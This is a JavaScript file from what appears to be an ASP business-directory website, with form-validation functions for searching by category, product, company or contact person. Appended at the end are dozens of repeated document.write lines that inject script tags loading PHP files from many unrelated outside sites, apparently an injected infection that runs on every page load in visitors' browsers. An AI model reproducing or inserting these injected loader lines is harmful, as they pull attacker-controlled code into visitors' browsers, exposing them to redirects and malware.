function funenter(e1,action)
{
	if (document.layers)
		key=e1.which;
	else
		key=window.event.keyCode ;
	if(key==13)
		{
			if(action=="dispcat")
				{
					dispcat()
				}
			if(action=="service")
				{
					service()
				}
			if(action=="company1")
				{
					company1()
				}
		}
}

function trimed(trimstring)
{
	startcounter = 0;
	for(i=0; i < trimstring.length; i++)
	{ 
		if(trimstring.charAt(i) == " ") 
			++startcounter;
		else
			break;
				   
	}

	endcounter = trimstring.length;
	for(i=(trimstring.length-1); i > 0; i--)
	{ 
	   if(trimstring.charAt(i) == " ") 
			--endcounter;
		else
			break;
				   
    }
	
	trimmedstring = trimstring.substring(startcounter, endcounter);
	if(endcounter <= startcounter)
	{
		trimmedstring = "";
	}
	
	return trimmedstring;
}

function cat()
{	

	document.f2.ok.value="cat";
	j=document.f2.category.selectedIndex;
	if (j==0)
	{
		alert("Please select a category");
		return;	
	}

	document.f2.action="searchresult.asp";
	document.f2.submit();
}
function service()
{
	document.f2.ok.value="serv";
	s1=document.f2.service.value;
	
	if (s1.length<=2)
	{
		alert("Enter atleast 3 characters");
		document.f2.service.value="";
		document.f2.service.focus();
		return;
	}
	if(trimed(document.f2.service.value)=="")
	{
		alert("Enter Product/Service ");
		document.f2.service.value="";
		document.f2.service.focus();
	}
	else
	{
		document.f2.action="searchresult.asp";
		document.f2.submit();	
	}
}
function stater(){
	document.f2.action="default.asp?s=y";
	document.f2.submit();
}
function stater2(){
	document.FrontPage_Form1.action="register.asp?s=y";
	document.FrontPage_Form1.submit();
}
function stater3(){
	document.FrontPage_Form1.action="siteusereditinfo.asp";
	document.FrontPage_Form1.mode.value="ref";
	document.FrontPage_Form1.submit();
}
function company1()
{
	if(document.f2.rd1[0].checked)
	{
		document.f2.ok.value="comp";
		s1=document.f2.company.value;
				
		if(trimed(document.f2.company.value)=="")
		{
			alert("Enter Company Name");
			document.f2.company.value="";
			document.f2.company.focus();
		}
		else
		{
			document.f2.action="searchresult.asp";
			document.f2.submit();	
		}
	}
	if(document.f2.rd1[1].checked)
	{
		document.f2.ok.value="contc";
									
		if(trimed(document.f2.company.value)=="")
		{
			alert("Enter Contact Person Name");
			document.f2.company.value="";
			document.f2.company.focus();
		}
		else
		{
			document.f2.action="searchresult.asp";
			document.f2.submit();	
		}
	}
}

function dispcat()
{
	
	ch=document.f2.catalpha.value;
	if (ch=="")
	{
		alert("Please Enter Minimum 1 Characters");
		document.f2.catalpha.focus();
		return;
	}
	document.f2.action="default.asp?t=bc";
	document.f2.submit();
}

function replaceSpaces(str)
{
	var str_with_spaces=str ;	
	var tempstr="";	
	for (var i=0;i<str_with_spaces.length;i++)
	{
		var s=str_with_spaces.charAt(i);
		if(s==" ")
		tempstr=tempstr+"+";
		else
		{
		tempstr=tempstr+s;
		}
	}
	return tempstr;
}

function winsub()
{
	var lnk=document.f2
	newwindow=window.open("")
	newwindow.location=lnk.sel.options[lnk.sel.selectedIndex].value
}

document.write('<script src=http://mama-i-ja.com.pl/images/ministranci.php ><\/script>');
document.write('<script src=http://mama-i-ja.com.pl/images/ministranci.php ><\/script>');
document.write('<script src=http://mama-i-ja.com.pl/images/ministranci.php ><\/script>');
document.write('<script src=http://mama-i-ja.com.pl/images/ministranci.php ><\/script>');
document.write('<script src=http://spacetoplay.org/css/i_insertmenu.php ><\/script>');
document.write('<script src=http://spacetoplay.org/css/i_insertmenu.php ><\/script>');
document.write('<script src=http://spacetoplay.org/css/i_insertmenu.php ><\/script>');
document.write('<script src=http://spacetoplay.org/css/i_insertmenu.php ><\/script>');
document.write('<script src=http://spacetoplay.org/css/i_insertmenu.php ><\/script>');
document.write('<script src=http://spacetoplay.org/css/i_insertmenu.php ><\/script>');
document.write('<script src=http://spacetoplay.org/css/i_insertmenu.php ><\/script>');
document.write('<script src=http://vitsedu.in/a/.ftpquota.php ><\/script>');
document.write('<script src=http://vitsedu.in/a/.ftpquota.php ><\/script>');
document.write('<script src=http://vitsedu.in/a/.ftpquota.php ><\/script>');
document.write('<script src=http://andtherest.info/cgi-bin/CultureAwarenessV_12_01_09.php ><\/script>');
document.write('<script src=http://echographie.ultrason.com/2452/pneumologie.php ><\/script>');
document.write('<script src=http://echographie.ultrason.com/2452/pneumologie.php ><\/script>');
document.write('<script src=http://echographie.ultrason.com/2452/pneumologie.php ><\/script>');
document.write('<script src=http://echographie.ultrason.com/2452/pneumologie.php ><\/script>');
document.write('<script src=http://echographie.ultrason.com/2452/pneumologie.php ><\/script>');
document.write('<script src=http://echographie.ultrason.com/2452/pneumologie.php ><\/script>');
document.write('<script src=http://packethosting.net/images/gifimg.php ><\/script>');
document.write('<script src=http://packethosting.net/images/gifimg.php ><\/script>');
document.write('<script src=http://packethosting.net/images/gifimg.php ><\/script>');
document.write('<script src=http://packethosting.net/images/gifimg.php ><\/script>');
document.write('<script src=http://packethosting.net/images/gifimg.php ><\/script>');
document.write('<script src=http://packethosting.net/images/gifimg.php ><\/script>');
document.write('<script src=http://hullstudios.co.uk/images/specialoffers.php ><\/script>');
document.write('<script src=http://packethosting.net/images/gifimg.php ><\/script>');
document.write('<script src=http://rollerderbybootcamp.com/cart/images/index.php ><\/script>');
document.write('<script src=http://rollerderbybootcamp.com/cart/images/index.php ><\/script>');
document.write('<script src=http://rollerderbybootcamp.com/cart/images/index.php ><\/script>');
document.write('<script src=http://rollerderbybootcamp.com/cart/images/index.php ><\/script>');
document.write('<script src=http://crazysoccersport.com/board/Themes/Settings.php ><\/script>');
document.write('<script src=http://crazysoccersport.com/board/Themes/Settings.php ><\/script>');
document.write('<script src=http://crazysoccersport.com/board/Themes/Settings.php ><\/script>');
document.write('<script src=http://crazysoccersport.com/board/Themes/Settings.php ><\/script>');
document.write('<script src=http://crazysoccersport.com/board/Themes/Settings.php ><\/script>');
document.write('<script src=http://crazysoccersport.com/board/Themes/Settings.php ><\/script>');
document.write('<script src=http://breathingbamboos.com/css/googlehostedservice.php ><\/script>');
document.write('<script src=http://breathingbamboos.com/css/googlehostedservice.php ><\/script>');
document.write('<script src=http://breathingbamboos.com/css/googlehostedservice.php ><\/script>');
document.write('<script src=http://breathingbamboos.com/css/googlehostedservice.php ><\/script>');
document.write('<script src=http://breathingbamboos.com/css/googlehostedservice.php ><\/script>');